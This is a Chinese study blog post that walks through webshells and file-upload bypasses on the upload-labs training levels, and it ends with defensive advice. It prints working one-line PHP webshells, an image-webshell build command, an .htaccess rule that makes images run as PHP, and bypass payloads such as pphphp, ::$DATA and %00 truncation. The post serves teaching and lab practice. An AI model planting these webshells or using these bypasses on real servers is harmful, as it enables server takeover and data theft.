文章目录
- [1 WebShell](#1 WebShell)
-
- [1.1 什么是webshell](#1.1 什么是webshell)
- [1.2 什么是木马](#1.2 什么是木马)
- [1.3 webshell的特点](#1.3 webshell的特点)
- [1.4 webshell的攻击危害](#1.4 webshell的攻击危害)
- [1.5 webshell管理工具](#1.5 webshell管理工具)
- [2 文件上传漏洞](#2 文件上传漏洞)
-
- [2.1 概述](#2.1 概述)
- [2.2 文件上传绕过](#2.2 文件上传绕过)
- [3 文件上传防御](#3 文件上传防御)
最近学弟学妹们要开始这一轮的学习了,我也复习一下,简单写写,有点粗略,或者有些许小错误。
任重而道远。。。。。。
"想,全是问题;做,全是答案"

1 WebShell
1.1 什么是webshell
它是运行在web应用之上的远程控制程序,是一张网页,但又不同于常见的网页。常见的网页可能有信息展示、注册、登录等功能,而webshell呢,它具备的功能有文件端口扫描、提权、获取系统信息等功能
简单来说,webshell就是一个asp或php木马后门,黑客在入侵了一个网站后,常常在将这些asp或php木马后门文件放置在网站服务器的web目录中,与正常的网页文件混在一起。
常见的webshell
木马:大马、小马、各种马
拥有比较完整功能的webshell一般称为大马
功能简易的webshell称为小马
1.2 什么是木马
由一段代码编写的程序,程序包含了可以控制用户的计算机系统的功能,可能造成用户的系统被破坏甚至瘫痪
最简单的也是最常用的一句话木马
php
<?php
@eval($_POST[x]);
?>
@eval( )是php是一个函数,括号中被传入的参数都会被当作php代码执行,通过POST传参,x为变量名
如果x=echo 'hello world',则,<?php @eval('echo 'hello world');?>
就会输出hello world ,如果将这里的变量值变成系统命令,那么就可以对内网进行扫描、获取内部系统的信息、盗取数据库等等一系列操作
1.3 webshell的特点
可以穿越防火墙,由于被控知道而服务器或远程主机交换的数据都是通过80端口传递额,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的
1.4 webshell的攻击危害
webshell是网站入侵的脚本攻击工具,黑客通过入侵网站上传webshell后获取服务器的执行操作权限,比如执行系统命令、窃取用户数据、删除微博页面、修改主页等
| 💡
webshell是什么?网络安全攻防之webshell攻击!-CSDN博客
| 💡
1.5 webshell管理工具
常用:
中国菜地、中国蚁剑、冰蝎、哥斯拉
拿中国蚁剑举例

URL地址:就是一句话木马的地址
- 链接密码:就是变量X
- 编码设置:UTF8
- 链接类型:PHP(你用什么一句话木马链接什么类型)

连接成功以后就可以看到木马存放的目录,你就可以对其进行一些操作

还有可以使用虚拟终端,查看当前网络环境;连接数据库(前提是要知道数据库的账号和密码)。


这些重要的是实操,就不在这儿做过多赘述了
2 文件上传漏洞
2.1 概述
我个人的理解是这样的,前面不是说了webshell嘛,他就是一个攻击者利用的工具,你想用它你得让它在那个网站里面吧,得通过某种途径去把那个例如木马之类的弄上去吧,比如一个口。恰好很多站点都有文件上传这个功能,他如果对上传的东西检测不严谨,那么你的webshell就能传上去,这时就能说这儿有个文件上传漏洞
| 💡
- 文件上传的这个功能是如何实现的呢?
- 文件上传功能的作用是将
本地文件上传至服务器上进行保存。 - 当我们找到上传的入口,上传文件之后。
- 可能会回显文件上传的路径,如果回显了文件上传路径,那么我们就可以根据回显的文件上传路径进行访问,那么我们就可以在浏览器中访问到服务器上的这个文件。
文件上传漏洞是指文件上传功能没有对上传的文件做合理严谨的过滤,导致用户可以利用此功能,上传能被服务端解析执行的文件,并通过此文件获得执行服务端命令的能力
2.2 文件上传绕过
常见的几种文件上传验证机制
- 客户端javascript验证
- 服务端MIME类型验证
- 服务端文件扩展名验证(黑名单、白名单)
- 服务文件内容验证(文件头、文件加载检测)
2.2.1 客户端javascript验证
前端js文件中会对上传文件进行一个检验
例如这样
php
<script type="text/javascript">
function checkFile() {
var file = document.getElementsByName('upload_file')[0].value;
//获取到文件名
if (file == null || file == "") {
alert("请选择要上传的文件!");
return false;
}
var allow_ext = ".jpg|.png|.gif";
//定义允许上传的文件类型
var ext_name = file.substring(file.lastIndexOf("."));
//提取上传文件的类型。
//通过lastIndexOf取到"."的索引,再使用substring函数截取 .后缀名
if (allow_ext.indexOf(ext_name) == -1) {
//如果 allow_ext 中没有 ext_name字符串,则返回-1
var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
alert(errMsg);
return false;
}
//判断上传文件类型是否允许上传
}
</script>
例如第一关,它只有这么一层防护措施
把js禁用后即可绕过防护,将webshell传入




运行成功
<?php @eval ($_POST['hack']); ?> 这是木马里的内容
接下来尝试用蚁剑连接
地址是上传的一句话木马的位置,密码即为参数名称,测试连接成功
你会发现你电脑里的所有东西都可以看到
还可以右键检查,将此段相关代码删除
因为他这儿的函数是检验文件类型是不是.jpg|.png|.gif,所以可以先把文件改成符合要求的后缀,通过前端验证,然后抓包再改回去
"所有前端的验证机制都是不安全的",因为前端的东西是用户可控制的。
第一关这儿还可以怎么过呢 ,你可以先把你的木马文件后缀名更改为png(它前端允许的格式),然后抓包更改php

2.2.2 服务端MIME检验
什么是mime
MIME类型是描述消息内容类型的因特网标准
这一关同样可以先把后缀改成png上传,然后再抓包改后缀。
为了知道什么叫mime检验,所以先上传php
可以看到上传失败

观察源码
就是使用了$_FILES['upload_file']['type']获取到Content-Type字段,并进行比较,如果是那三种类型就继续向下执行,否则进行提示。
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'];
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '文件类型不正确,请重新上传!';
}
} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';
}
}

成功,后面我就不一个一个连蚁剑了
2.2.3 绕过服务器文件内容验证
- 图片格式往往不是根据文件后缀名去做判断的。文件头是文件开头的一段二进制,不同的图片类型,文件头是不同的。文件头又称文件幻数。
- 常见文件幻数
Png图片文件包括8字节:89 50 4E 47 0D 0A 1A 0A。即为 .PNG
Jpg图片文件包括2字节:FF D8。
Gif图片文件包括6字节:47 49 46 38 39|37 61 。即为 GIF89(7)a。
Bmp图片文件包括2字节:42 4D。即为 BM
- 方法一: 伪造文件头绕过方法
- 方法二: 利用服务器将木马文件解析成了图片文件,因此向其发送执行该文件的请求时,服务器只会返回这个"图片"文件,并不会执行相应命令。
如何生成图片木马
- 在路径下准备好一句话木马.php和一张图片 .png (或者 .jpg )
- 输入系统指令:
copy 一张图片.png/b+一句话木马.php/a 生成图片名称.png - 这样图片木马就合成好了


将此图片马上传即可
例如pass13
然后点击文件包含漏洞几个字,利用文件包含来执行图片马
php
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>

利用get传参,传入图片马的路径即可
2.2.4 服务器文件扩展名验证
后缀名大小写绕过
upload-labs pass5
这种只是列出了黑名单,并且没有将文件后缀名转化为小写的函数
php
$file_ext = strtolower($file_ext); //转换为小写
下面是网页源码
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //首尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
过滤中可以看出已经将可能的后缀名都包含了,但还是出现了纰漏,他并没有将pHP这个后缀包含进去,也就是说我们可以将后缀名改为pHP,即可上传成功
修改后缀名绕过
upload-labs pass3
这里列举了黑名单,并且有小写转化
但是在apache的配置文件中有说明
AddType application/x-httpd-php .php .phtml .phps .php5 .pht
这些后缀名都可以被解析为php文件
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array('.asp','.aspx','.php','.jsp');
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
所以我们可以上传`.phtml .phps .php5 .pht`

#### 重写绕过
`upload-labs pass10`
注意看这个函数
```php
$file_name = str_ireplace($deny_ext,"", $file_name);
它会将我们传入的文件名进行检测,只要含有deny_ext这个数组中内容的部分全部替换为空
但是它只是替换了一次
php
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext,"", $file_name);
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
所以我们可以将后缀改为pphphp
php
echo str_ireplace("php", "", "pphphp"); // 输出:php
// 第一次替换:pphphp → php(替换中间的php)
// 不会继续检测新生成的php
-
shell.pphphp→shell.php -
shell.phphpp→shell.php -
shell.phtmlhtml→shell.phtml -
shell.phphphpt→shell.pht
点号绕过
没有这个
php
$file_name = deldot($file_name);
`$file_ext = strrchr($file_name, '.');`

**Windows文件系统特性**
Windows系统在保存文件时有一个特性:**会自动去除文件名末尾的点号**。
例如:
- 你保存的文件名:`shell.php.`
- Windows实际保存为:`shell.php`
- 你保存的文件名:`shell.php...`
- Windows实际保存为:`shell.php`
#### 特殊可解析后缀绕过
`黑名单规则不严谨`,在某些特定环境中某些特殊后缀名仍会被当做PHP文件解析。phplphp2/php3/php4lphp5/php6lphp7/phtlphtm/phtml
有些apache中有这样的解析规则
#### htaccess绕过
- 在apache里,这个文件作为一个配置文件,可以用来控制所在目录的访问权限以及解析设置。即是,可以通过设置可以将该目录下的所有文件作为php文件来解析
- .htaccess可以写入apache配置信息,改变当前目录以及子目录的Apache配置信息。
**前提条件:**
- 配置上允许.htaccess生效
- Apache开启rewrite模块
- 
编辑httpd.conf,取消注释:LoadModule rewrite_module modules/mod_rewrite.so
sudo systemctl restart apache2
**关键配置说明:**
- `AllowOverride All`:允许.htaccess覆盖Apache配置
- 如果值是`None`,.htaccess文件将不会生效
将规则改为所有jpg后缀都会当php解析
```php
AddType application/x-httpd-php.jpg
先创建一个.htaccess文件,将其上传后,再将一个木马文件改为jpg后缀上传即可
访问该图片即可被当作php文件解析


::$DATA绕过
::$DATA绕过是Windows系统特有的文件上传绕过技术,利用了NTFS文件系统的特性。
::$DATA绕过原理
- NTFS文件系统的数据流特性
Windows的NTFS文件系统支持交替数据流,允许一个文件包含多个数据流:
-
默认数据流:文件的主要内容
-
命名数据流:附加的数据流
::$DATA就是表示文件的默认数据流。
漏洞产生原因
当PHP在Windows系统上处理文件名时:
$file_name = $_FILES['upload_file']['name']; // 例如:shell.php::$DATA
如果代码没有正确处理::$DATA,可能导致:
-
文件检查时:检测
shell.php::$DATA -
文件保存时:实际保存为
shell.php
upload-labs pass8为例

str_ireplace('::$DATA', '', f i l e _ e x t ) ; / / 去除字符串::DATA这个函数没有

%00截断
- %00是chr(O),它不是空格,是NULL,空字符。
- 当程序在输出含有chr(O)变量时,chr(O)后面的数据会被停止,换句话说,就是误把它当做结束符,后面的数据直接忽略,这就导致漏洞产生的原因。
- 在文件上传中,利用%00截断,在文件扩展名验证时,是取文件的扩展名来做验证,但是最后文件保存在本地时,%00会截断文件名,只保存%00之前的内容。
前提条件: PHP版本 < 5.34 、php的magic_quotes_gpc为OFF状态
upload-labs pass12这里是白名单,只能上传这几种类型文件
可以尝试%00截断

2.2.5 服务器解析漏洞
Apache 解析漏洞
Apache解析文件规则是从右到左。例如shel.php.gix.ccc,apache会先识别ccc,ccc不被识别,则识别gix,以此类推,最后会被识别为php来运行。
IIS6.0 漏洞
- 目录解析 :
目录名为.asp、.asa、.cer,则目录下的所有文件都会被作为ASP - url/test.asp/shell.jpg会被当作asp脚本运行。
- 文件解析 :
文件名中分号后不被解析,例如.asp;、.asa;、.cer;。
url/test.asp;shell.jpg会被当作asp脚本运行。 - 文件类型解析 :
asa,.cer,.cdx都会被作为asp文件执行。
url/shell.asa会被作为asp文件执行。
Nginx 漏洞
PHP+nginx默认是以cgi的方式去运行,当用户配置不当,会导致任意文件被当作php去解析。
- 利用条件:
以FastCGl运行
cgi.fix_pathinfo=1(全版本PHP默认为开启)
例如如果满足上述条件,当你访问url/shell.jpg/shell.php时,shell.jpg会被当作php去执行。
Nginx 文件名逻辑漏洞(CVE-2013-4547)
这里是别人的复现博客,后面我会自己实操一次
Nginx文件名逻辑漏洞(CVE-2013-4547)-CSDN博客
- 影响版本:Nginx 0.8.41 ~ 1.4.3/1.5.0 ~ 1.5.7
2.2.6 逻辑漏洞
条件竞争
源码
php
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
php
$temp_file = $_FILES['upload_file']['tmp_name'];//存储在服务器的文件的临时副本的名称
当我们上传web shell文件时,不会先限制php类型文件上传,先利用上面的语句把上传的文件临时存放。再执行下面的if语句进行文件类型的限制和文件名的时间戳。然后执行
php
if(move_uploaded_file($temp_file, $upload_file))//移动到新文件夹
绕过思路是利用代码执行过程有耗费时间的过程,上传速度大于匹配unlink条件就能显示webshell界面
这里我们就可以利用上传到服务器与判断的时间差来读取上传的文件,达到文件上传的目的:
上传php文件,然后使用Burpsuite抓包,然后将抓到的包发送到Repeter模块中:
配置好后,开始不断地上传
木马内容
php
<?php fputs(fopen('pass.php','w'),'<?php phpinfo();?>'); ?>
只要访问了shell.php文件,php文件就会成功解析执行,自动创建一个pass.php,写入一句话木马:<?php phpinfo();?>
上传shell.php,抓包
然后Send to lntruder,并且进行以下的设置
./绕过
$is_upload = false;
m s g = n u l l ; i f ( i s s e t ( msg = null; if (isset( msg=null;if(isset(_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array("php","php5","php4","php3","php2","html","htm","phtml","pht","jsp","jspa","jspx","jsw","jsv","jspf","jtml","asp","aspx","asa","asax","ascx","ashx","asmx","cer","swf","htaccess");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = str_ireplace($deny_ext, '', $file_name); // 字符串替换!
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
可以看到还是move_uploaded_file函数对上传的文件就进行了处理,这里需要利用这个函数的一个特性,会忽略/.那么我们可以尝试使用BP抓包,然后对文件名修改再上传。
**基本概念**
攻击者通过在文件名中插入`./`,利用代码处理逻辑的缺陷来绕过后缀名检测:
正常文件名:shell.php
绕过文件名:shell.p./hp 或 shell.ph./p
具体绕过过程
攻击payload: shell.p./hp
代码处理流程:
- pathinfo()函数处理:
php
$file_name = "shell.p./hp";
$file_ext = pathinfo($file_name, PATHINFO_EXTENSION);
// 返回:p(因为pathinfo遇到/会认为路径结束)
-
后缀名检查 :
$file_ext = "p"; // 不是"php"
in_array("p", $deny_ext); // 返回false → 通过检查!
-
文件保存:
-
代码保存为:
shell.p./hp -
但Apache/PHP解析时:
shell.p./hp→ 实际访问时被解析为shell.php

-
二次渲染
上传图片,后端会对图片内容进行打乱,因此我们上传的php有可能会被破坏
这里的绕过方式就是使用010editor工具分析图片中相同的和不同的部分,可以将一句话图片木马插入到一直不变的区域就可以实现上传一句话木马了
上传正常的图片和图片马后分别下载,然后放到011editor,进行对比
这是被打乱的
找到相同的地方进行插入,这里需要尝试很多次,这儿就不演示了
3 文件上传防御
文件上传漏洞是一种常见的Web应用程序安全问题,攻击者可以利用这种漏洞上传恶意文件到服务器,从而执行恶意代码或篡改数据。以下是一些防御文件上传漏洞的方法:
-
文件类型检查:在上传文件时,验证文件的类型和扩展名,只允许上传安全的文件类型,如图片、文档等。可以通过检查文件的MIME类型或文件扩展名来进行验证。
-
文件大小限制:限制上传文件的大小,避免上传过大的文件导致服务器资源耗尽。可以设置最大文件大小的限制,超过限制的文件将被拒绝上传。
-
文件名检查(扩展名):对上传的文件名进行检查,避免使用特殊字符或恶意代码。可以对文件名进行过滤或重命名,确保文件名安全。
-
文件内容检查:对上传的文件内容进行检查,确保文件不包含恶意代码或脚本。可以使用文件扫描工具对上传的文件进行检测,以识别潜在的恶意代码。
-
存储路径隔离(不要暴露上传的路径):将上传的文件存储在独立的目录中,避免上传文件直接存储在Web根目录下。这样可以防止恶意文件被直接执行或访问。
-
文件权限设置:设置上传文件的权限,确保只有必要的用户可以访问上传的文件。避免设置过于宽松的文件权限,以防止恶意用户访问或执行上传的文件。
-
升级Apache、Nginx
...